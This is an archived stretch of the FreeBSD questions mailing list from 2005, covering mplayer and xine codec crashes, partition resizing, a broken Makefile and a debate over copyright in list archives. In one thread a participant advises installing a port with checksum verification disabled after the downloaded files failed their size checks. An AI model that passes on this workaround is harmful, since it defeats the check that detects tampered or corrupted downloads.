I > see: > > Opening video decoder: [realvid] RealVideo decoder > opening shared obj > '/usr/local/lib/win32/drv4.so.6.0' > Error: Shared object "libc.so.6" not found, required > by "drv4.so.6.0" opening win32 dll 'drv4.so.6.0' > > But libc.so.6 is in /usr/compat/linux/lib. Hmm, why > is that not found? I then did > ldconfig -m /usr/compat/linux/lib > > That helped. I started mplayer again, but then > mplayer crashed, as follows: > > [...snip...] > ================================================== > Opening audio decoder: [realaud] RealAudio decoder > opening shared obj '/usr/local/lib/win32/cook.so.6.0' > > MPlayer interrupted by signal 10 in module: > init_audio_codec > - MPlayer crashed. This shouldn't happen. > It can be a bug in the MPlayer code _or_ in your > drivers _or_ in your > gcc version. If you think it's MPlayer's fault, > please read > DOCS/HTML/en/bugreports.html and follow the > instructions there. We can't and > won't help unless you provide this information when > reporting a possible bug. > > ================================================== > > Any idea why I've got such problems with mplayer > and real video streams? I never gotten it to work either, a few of the codecs do -- I think the win32 only ones, but not the Unix ones from linux-realplayer. I'm sure mplayer/xine being natively compiled while the real codecs are mostly linux libraries via compat must be the problem. If someone wants to fix this, do look at what NetBSD does. They have a seperate real codecs package for it, I'm not sure what they do but their mplayer/xine do work with the rv1 to 4 codecs, and no errors about cook and all. Dan From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 01:03:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C6A9F16A4CE for ; Mon, 7 Feb 2005 01:03:01 +0000 (GMT) Received: from hotmail.com (bay16-f18.bay16.hotmail.com [65.54.186.68]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9F1C843D31 for ; Mon, 7 Feb 2005 01:03:01 +0000 (GMT) (envelope-from nuckingfutsto@hotmail.com) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 6 Feb 2005 17:03:00 -0800 Message-ID: Received: from 24.195.178.201 by by16fd.bay16.hotmail.msn.com with HTTP; Mon, 07 Feb 2005 01:02:04 GMT X-Originating-IP: [24.195.178.201] X-Originating-Email: [nuckingfutsto@hotmail.com] X-Sender: nuckingfutsto@hotmail.com From: "GRF ." To: freebsd-questions@FreeBSD.ORG Date: Sun, 06 Feb 2005 20:02:04 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-OriginalArrivalTime: 07 Feb 2005 01:03:00.0726 (UTC) FILETIME=[C4E84160:01C50CB0] Subject: Can I Resize A FreeBSD Partition Without losing Data? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 01:03:01 -0000 I started to play with WINE and realized I need more space on my FAT32 partition. I don't want to re-install FreeBSD. Is there a tool like Partion Magic which will change the size of the FreeBSD filesystem without losing data? I dont care if it runs In Windows or FreeBSD or if it will only resize the FreeBSD slice and then I have to use a second tool like Partition Magic to resize the FAT32 partition. I just don't want to reinstall FreeBSD. Is there a solution to my problem? From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 01:20:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EA31516A4CE for ; Mon, 7 Feb 2005 01:20:12 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.203]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5529043D4C for ; Mon, 7 Feb 2005 01:20:10 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so671606rne for ; Sun, 06 Feb 2005 17:20:06 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=SB8DPKccfphO2abbQNj/mIdM2WjE+4nueG90ab5TtSQWBr/WNfjUrIk/HdXIGmUVFTsoFO4bP6myOMoVwrwMiSXOGl1yrpIEz5h5IGZcdFaSBVCcZBnZW22v0CSRhw8bQ7JgUjBBEPjLpFs3Gijv3L4EJABWm2fGpbeh/c/ipMc= Received: by 10.38.149.45 with SMTP id w45mr65100rnd; Sun, 06 Feb 2005 17:18:13 -0800 (PST) Received: by 10.38.74.23 with HTTP; Sun, 6 Feb 2005 17:18:13 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 02:18:13 +0100 From: Gert Cuykens To: albi In-Reply-To: <4206B063.9090001@scii.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <4206B063.9090001@scii.nl> cc: freebsd-questions@freebsd.org Subject: Re: xine bus error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 01:20:13 -0000 On Mon, 07 Feb 2005 01:03:47 +0100, albi wrote: > Gert Cuykens wrote: > > > playing mp3's with xmms works perfect but when i open the same mp3 in > > xine i get this ? > > > > why would you want to mp3s with xine ? mplayer is imho the better > video-player for playing (streaming) mp3 and ogg anyway > > > I# xine > > This is xine (X11 gui) - a free video player v0.99.3. > > (c) 2000-2004 The xine Team. > > Bus error > > i suggest you install also mplayer, mpg321 and beep-media-player for > both mp3, ogg and mpeg, avi, wmv and mov files (i like choice ;^) > How do you install mplayer without skins ? From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 01:22:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8828D16A4CE for ; Mon, 7 Feb 2005 01:22:58 +0000 (GMT) Received: from relay.pair.com (relay00.pair.com [209.68.1.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 15C8F43D49 for ; Mon, 7 Feb 2005 01:22:53 +0000 (GMT) (envelope-from alejandro@varnet.biz) Received: (qmail 77700 invoked from network); 7 Feb 2005 01:22:52 -0000 Received: from unknown (HELO ale.varnet.bsd) (unknown) by unknown with SMTP; 7 Feb 2005 01:22:52 -0000 X-pair-Authenticated: 200.115.214.206 Date: Sun, 6 Feb 2005 22:23:18 -0300 From: Alejandro Pulver To: freebsd-questions@freebsd.org Message-ID: <20050206222318.17b5b2d9@ale.varnet.bsd> X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; i386-portbld-freebsd5.3) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: nsgml error: Undefined symbol "_ZNK6Origin14asEntityOriginEv" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 01:22:58 -0000 Hello, I installed 'docproj-jadetex' to learn how to make Docbook documents (in SGML). When I run 'nsgmls' (texproc/sp) (when doing 'make' on a FreeBSD documentation source, or manually) it outputs the following error: /libexec/ld-elf.so.1: /usr/local/lib/libstyle.so.1: Undefined symbol "_ZNK6Origin14asEntityOriginEv How do I fix it? Thanks and Best Regards, Ale From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 01:30:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 030F616A4CE for ; Mon, 7 Feb 2005 01:30:21 +0000 (GMT) Received: from post-23.mail.nl.demon.net (post-23.mail.nl.demon.net [194.159.73.193]) by mx1.FreeBSD.org (Postfix) with ESMTP id B3F3B43D3F for ; Mon, 7 Feb 2005 01:30:20 +0000 (GMT) (envelope-from albi@scii.nl) Received: from aseed.demon.nl ([82.161.136.218]:10036 helo=mail.aseed.antenna.nl) by post-23.mail.nl.demon.net with esmtp (Exim 4.43) id 1CxxjI-0008O4-1d; Mon, 07 Feb 2005 01:30:20 +0000 Received: from http.aseed.antenna.nl (unknown [192.168.0.50]) by mail.aseed.antenna.nl (Postfix) with ESMTP id C8F71154493; Mon, 7 Feb 2005 02:31:13 +0100 (CET) Received: from [192.168.0.111] (82-197-198-30.dsl.cambrium.nl [82.197.198.30]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by http.aseed.antenna.nl (Postfix) with ESMTP id EE9C93701F; Mon, 7 Feb 2005 02:30:21 +0100 (CET) Message-ID: <4206C4A6.2010400@scii.nl> Date: Mon, 07 Feb 2005 02:30:14 +0100 From: albi User-Agent: Mozilla Thunderbird 1.0 (X11/20050123) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Gert Cuykens References: <4206B063.9090001@scii.nl> In-Reply-To: X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: xine bus error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 01:30:21 -0000 Gert Cuykens wrote: > How do you install mplayer without skins ? you could try : cd /usr/ports/multimedia/mplayer-skins make NO_CHECKSUM=yes install and then compile mplayer itself From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 01:35:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3DE7C16A4CE for ; Mon, 7 Feb 2005 01:35:16 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.205]) by mx1.FreeBSD.org (Postfix) with ESMTP id C138743D1D for ; Mon, 7 Feb 2005 01:35:13 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so672700rne for ; Sun, 06 Feb 2005 17:35:13 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=IfQ4Qh8CedxQYZbAQTmGAiPc97mXBOwaIYV518rDnK8VSHYaDai/CbB52XgtJixCeP0VLYB798TxIGKFQJLpKzdoFW9nlsdAq4vU1OjF5QnkzzA09y9krdmgcx4994IGL6772CZkU3kshJYZonSFAB0K/EQe0jwQf3kYe8YdQY8= Received: by 10.38.160.51 with SMTP id i51mr11436rne; Sun, 06 Feb 2005 17:35:13 -0800 (PST) Received: by 10.38.74.23 with HTTP; Sun, 6 Feb 2005 17:35:13 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 02:35:13 +0100 From: Gert Cuykens To: albi In-Reply-To: <4206C4A6.2010400@scii.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <4206C4A6.2010400@scii.nl> cc: freebsd-questions@freebsd.org Subject: Re: xine bus error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 01:35:16 -0000 On Mon, 07 Feb 2005 02:30:14 +0100, albi wrote: > Gert Cuykens wrote: > > > How do you install mplayer without skins ? > > you could try : > cd /usr/ports/multimedia/mplayer-skins > make NO_CHECKSUM=yes install > > and then compile mplayer itself > Will the no check sum only be applied to the skin port only ? PS why does the maintainer not fix the port ? From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 01:37:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5F2B316A4CE for ; Mon, 7 Feb 2005 01:37:11 +0000 (GMT) Received: from post-22.mail.nl.demon.net (post-22.mail.nl.demon.net [194.159.73.192]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0794543D2F for ; Mon, 7 Feb 2005 01:37:11 +0000 (GMT) (envelope-from albi@scii.nl) Received: from aseed.demon.nl ([82.161.136.218]:10038 helo=mail.aseed.antenna.nl) by post-22.mail.nl.demon.net with esmtp (Exim 4.43) id 1Cxxpu-000Ep5-3U; Mon, 07 Feb 2005 01:37:10 +0000 Received: from http.aseed.antenna.nl (unknown [192.168.0.50]) by mail.aseed.antenna.nl (Postfix) with ESMTP id F1E2F154493; Mon, 7 Feb 2005 02:38:03 +0100 (CET) Received: from [192.168.0.111] (82-197-198-30.dsl.cambrium.nl [82.197.198.30]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by http.aseed.antenna.nl (Postfix) with ESMTP id 402893701F; Mon, 7 Feb 2005 02:37:12 +0100 (CET) Message-ID: <4206C641.5000609@scii.nl> Date: Mon, 07 Feb 2005 02:37:05 +0100 From: albi User-Agent: Mozilla Thunderbird 1.0 (X11/20050123) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Gert Cuykens References: <4206B063.9090001@scii.nl> <4206C4A6.2010400@scii.nl> In-Reply-To: X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: xine bus error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 01:37:11 -0000 Gert Cuykens wrote: >>you could try : >>cd /usr/ports/multimedia/mplayer-skins >>make NO_CHECKSUM=yes install >> >>and then compile mplayer itself >> > > > Will the no check sum only be applied to the skin port only ? yes > > PS why does the maintainer not fix the port ? no idea, life is short, time is not cheap etc. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 01:41:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EF7B716A4CE for ; Mon, 7 Feb 2005 01:41:30 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.207]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7CCF243D1D for ; Mon, 7 Feb 2005 01:41:30 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so673211rne for ; Sun, 06 Feb 2005 17:41:28 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=q+FzvPu0aS3j3u58Xm0Hoow3PbPUbdrGW3mWWmPZrBzm6N73fgtSK/5brVEr7YQpyqzmC1I5RJYf07UPpeN6vYlZOgjXBetjL2GqSRc6O518IX0sFSq+hSwk7Ou8q/W9F7Zy5AB8PF5Qdczi0yYVP5muSVNm2lvN7FHU/KYpVcQ= Received: by 10.38.149.55 with SMTP id w55mr574364rnd; Sun, 06 Feb 2005 17:41:28 -0800 (PST) Received: by 10.38.74.23 with HTTP; Sun, 6 Feb 2005 17:41:25 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 02:41:25 +0100 From: Gert Cuykens To: albi In-Reply-To: <4206C641.5000609@scii.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <4206C641.5000609@scii.nl> cc: freebsd-questions@freebsd.org Subject: Re: xine bus error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 01:41:31 -0000 On Mon, 07 Feb 2005 02:37:05 +0100, albi wrote: > Gert Cuykens wrote: > > >>you could try : > >>cd /usr/ports/multimedia/mplayer-skins > >>make NO_CHECKSUM=yes install > >> > >>and then compile mplayer itself > >> > > > > > > Will the no check sum only be applied to the skin port only ? > > yes > > > > > PS why does the maintainer not fix the port ? > > no idea, > > life is short, time is not cheap etc. > Why do they call it NO_CHECKSUM ? whats wrong with CHECKSUM yes no ? From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 01:55:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 08A5716A4CE for ; Mon, 7 Feb 2005 01:55:49 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.201]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2D92643D54 for ; Mon, 7 Feb 2005 01:55:46 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so674289rne for ; Sun, 06 Feb 2005 17:55:45 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=I38Si6LcPZRF+aSGkr0cl8CfjQPtRKg3CgnZO+c5IO/CxNLavM9z8ihNdeBELpdgBTPdhiaBO54RVTtvY4duKeP3LQuClQJrpraDztJA+Va9hJJUezCow5ZpxleJSrsqmTkUsP8xbswQVrVAOMUmHejL4nRaWFTjqb9vmxbRXZk= Received: by 10.38.102.15 with SMTP id z15mr464948rnb; Sun, 06 Feb 2005 17:55:45 -0800 (PST) Received: by 10.38.74.23 with HTTP; Sun, 6 Feb 2005 17:55:45 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 02:55:45 +0100 From: Gert Cuykens To: albi In-Reply-To: <4206C641.5000609@scii.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <4206C641.5000609@scii.nl> cc: freebsd-questions@freebsd.org Subject: Re: xine bus error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 01:55:49 -0000 On Mon, 07 Feb 2005 02:37:05 +0100, albi wrote: > >>you could try : > >>cd /usr/ports/multimedia/mplayer-skins > >>make NO_CHECKSUM=yes install > >> > >>and then compile mplayer itself I# make NO_CHECKSUM=yes ===> Vulnerability check disabled, database not found ===> Found saved configuration for mplayer-skins-1.1.1 => Abyss-1.1.tar.bz2 doesn't seem to exist in /usr/ports/distfiles/mplayer. => Attempting to fetch from http://www.mplayerhq.hu/MPlayer/Skin/. fetch: http://www.mplayerhq.hu/MPlayer/Skin/Abyss-1.1.tar.bz2: size mismatch: expected 314296, actual 314302 => Attempting to fetch from http://ftp.lug.udel.edu/MPlayer/Skin/. fetch: http://ftp.lug.udel.edu/MPlayer/Skin/Abyss-1.1.tar.bz2: size mismatch: expected 314296, actual 314302 => Attempting to fetch from ftp://ftp.mplayerhq.hu/MPlayer/Skin/. fetch: ftp://ftp.mplayerhq.hu/MPlayer/Skin/Abyss-1.1.tar.bz2: size mismatch: expected 314296, actual 314302 => Attempting to fetch from ftp://ftp.lug.udel.edu/MPlayer/Skin/. fetch: ftp://ftp.lug.udel.edu/MPlayer/Skin/Abyss-1.1.tar.bz2: size mismatch: expected 314296, actual 314302 => Attempting to fetch from ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/distfiles/mplayer/. fetch: ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/distfiles/mplayer/Abyss-1.1.tar.bz2: size mismatch: expected 314296, actual 314264 => Couldn't fetch it - please try to retrieve this => port manually into /usr/ports/distfiles/mplayer and try again. *** Error code 1 Stop in /usr/ports/multimedia/mplayer-skins. I# not wroking ? From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 02:01:55 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0CF4B16A4CE for ; Mon, 7 Feb 2005 02:01:55 +0000 (GMT) Received: from smtp817.mail.sc5.yahoo.com (smtp817.mail.sc5.yahoo.com [66.163.170.3]) by mx1.FreeBSD.org (Postfix) with SMTP id 9B2D743D2D for ; Mon, 7 Feb 2005 02:01:53 +0000 (GMT) (envelope-from donaldj1066@fastmail.fm) Received: from unknown (HELO pres7000.mylan.net) (donaldj@ameritech.net@69.212.18.245 with plain) by smtp817.mail.sc5.yahoo.com with SMTP; 7 Feb 2005 02:01:53 -0000 From: "Donald J. O'Neill" To: freebsd-questions@freebsd.org, Gert Cuykens Date: Sun, 6 Feb 2005 20:01:13 -0600 User-Agent: KMail/1.7.2 References: <4206C641.5000609@scii.nl> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502062001.13581.donaldj1066@fastmail.fm> cc: albi Subject: Re: xine bus error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 02:01:55 -0000 On Sunday 06 February 2005 07:41 pm, Gert Cuykens wrote: > On Mon, 07 Feb 2005 02:37:05 +0100, albi wrote: > > Gert Cuykens wrote: > > >>you could try : > > >>cd /usr/ports/multimedia/mplayer-skins > > >>make NO_CHECKSUM=yes install > > >> > > >>and then compile mplayer itself > > > > > > Will the no check sum only be applied to the skin port only ? > > > > yes > > > > > PS why does the maintainer not fix the port ? > > > > no idea, > > > > life is short, time is not cheap etc. > > Why do they call it NO_CHECKSUM ? whats wrong with CHECKSUM yes no ? > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" Gert, The best way of doing this is to use "rm -r /usr/ports/distfiles/mplayer", then install mplayer-skins, or portupgrade, or whatever you decide to use; this allows you to download fresh versions of the skins with the correct file size and the correct MD5 checksum. Don PS Your now getting off topic from your original post. -- Donald J. O'Neill donaldj1066@fastmail.fm I'm not totally useless, I can be used as a bad example. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 02:02:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 86D2B16A4CE for ; Mon, 7 Feb 2005 02:02:20 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.192]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6964843D2F for ; Mon, 7 Feb 2005 02:02:17 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id r35so738933rna for ; Sun, 06 Feb 2005 18:02:13 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=SpsMiqQKI9hbfENwW/GNPrs7vgF4AsLBdwDQgs1W+TGFIh5/VMOywZMb+gbv0AoJmClHZ9bkyJSLPJ8ZU3nrldIt/6nOhFUvGA5Rkt/LDTmS/fzm8PcB4Vep/0oZwVnSRtskujpjZr8XcHpI1KyAFEybCteYPAH5rcg0p9VHA8Y= Received: by 10.38.13.63 with SMTP id 63mr111967rnm; Sun, 06 Feb 2005 18:02:13 -0800 (PST) Received: by 10.38.74.23 with HTTP; Sun, 6 Feb 2005 18:02:13 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 03:02:13 +0100 From: Gert Cuykens To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: make file X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 02:02:20 -0000 make file ------------------------------------------------------------------------------------- CC=cc -Wall -g XCFLAGS=`pkg-config --cflags gtk+-2.0` XLDFLAGS=`pkg-config --libs gtk+-2.0` OBJ=ossxmix.o gtkvu.o gtkjoy.o ossxmix.o: ossxmix.c $(CC) $(CFLAGS) $(XCFLAGS) -c -o ossxmix.o ossxmix.c gtkvu.o: gtkvu.c $(CC) $(CFLAGS) $(XCFLAGS) -c -o gtkvu.o gtkvu.c gtkjoy.o: gtkjoy.c $(CC) $(CFLAGS) $(XCFLAGS) -c -o gtkjoy.o gtkjoy.c ossxmix: $(OBJ) $(CC) $(XLDFLAGS) -o ossxmix $(OBJ) install: ossxmix all: ossxmix clean: rm -f x y z ossxmix *.o core ossxmix core.* ------------------------------------------------------------------------------------------ I# make "Makefile", line 7: Need an operator "Makefile", line 10: Need an operator "Makefile", line 13: Need an operator "Makefile", line 16: Need an operator make: fatal errors encountered -- cannot continue I# What did i do wrong with the make file ? From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 02:03:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D7BE216A4CE for ; Mon, 7 Feb 2005 02:03:00 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4915743D2D for ; Mon, 7 Feb 2005 02:03:00 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0907.wanadoo.fr (SMTP Server) with ESMTP id 238371C00172 for ; Mon, 7 Feb 2005 03:02:59 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0907.wanadoo.fr (SMTP Server) with ESMTP id 0134A1C0014F for ; Mon, 7 Feb 2005 03:02:58 +0100 (CET) X-ME-UUID: 20050207020259503.0134A1C0014F@mwinf0907.wanadoo.fr Date: Mon, 7 Feb 2005 03:02:58 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1412682.20050207030258@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502061420.24415.krinklyfig@spymac.com> References: <1574286459.20050205120828@wanadoo.fr> <200502061420.24415.krinklyfig@spymac.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 02:03:01 -0000 Joshua Tinnin writes: JT> What contract is implied here? When a person subscribes to a list in exchange for receiving mail from the list. JT> Is this what has happened here? Has the OP's ability to pay rent JT> been damaged by her archived post? I don't know. It's easy to conceive of plausible scenarios in which it would be. JT> If the OP's copyright to her post is infringed by archiving that JT> post, then what, exactly, are the damages? See above. JT> No, Fair Use is more of an aspect of copyright law. No "quirk" is JT> going to affect the nature of copyright to that extent. It's an idiosyncrasy of U.S. copyright law, although it has some parallels in some other countries. It provides for only a handful of exceptions to a general rule. JT> How do you suggest this list and all others like it deal with this JT> matter, in practical terms? Require members of the list to explicitly agree to archiving terms as a condition of their subscription, or delete the archives. JT> Don't suggest hiring lawyers, as that's hardly practical. If a list owner gets sued, there may be no choice. JT> What are the practical effects of a lawsuit? Bankruptcy, in many cases, for the losing party. That may be the result even before it goes to trial. JT> What damages would be sought, and under what pretense? Statutory, compensatory, and punitive damages, IIRC, depending on circumstances. Injunctive relief also. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 02:08:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C1B0016A4CE for ; Mon, 7 Feb 2005 02:08:36 +0000 (GMT) Received: from out012.verizon.net (out012pub.verizon.net [206.46.170.137]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3A47043D49 for ; Mon, 7 Feb 2005 02:08:36 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out012.verizon.net ESMTP <20050207020835.ZJNK15978.out012.verizon.net@ringworm.mechee.com>; Sun, 6 Feb 2005 20:08:35 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id 885852CE7B6; Sun, 6 Feb 2005 18:04:34 -0800 (PST) From: "Michael C. Shultz" To: Gert Cuykens Date: Sun, 6 Feb 2005 18:04:32 -0800 User-Agent: KMail/1.7.2 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: 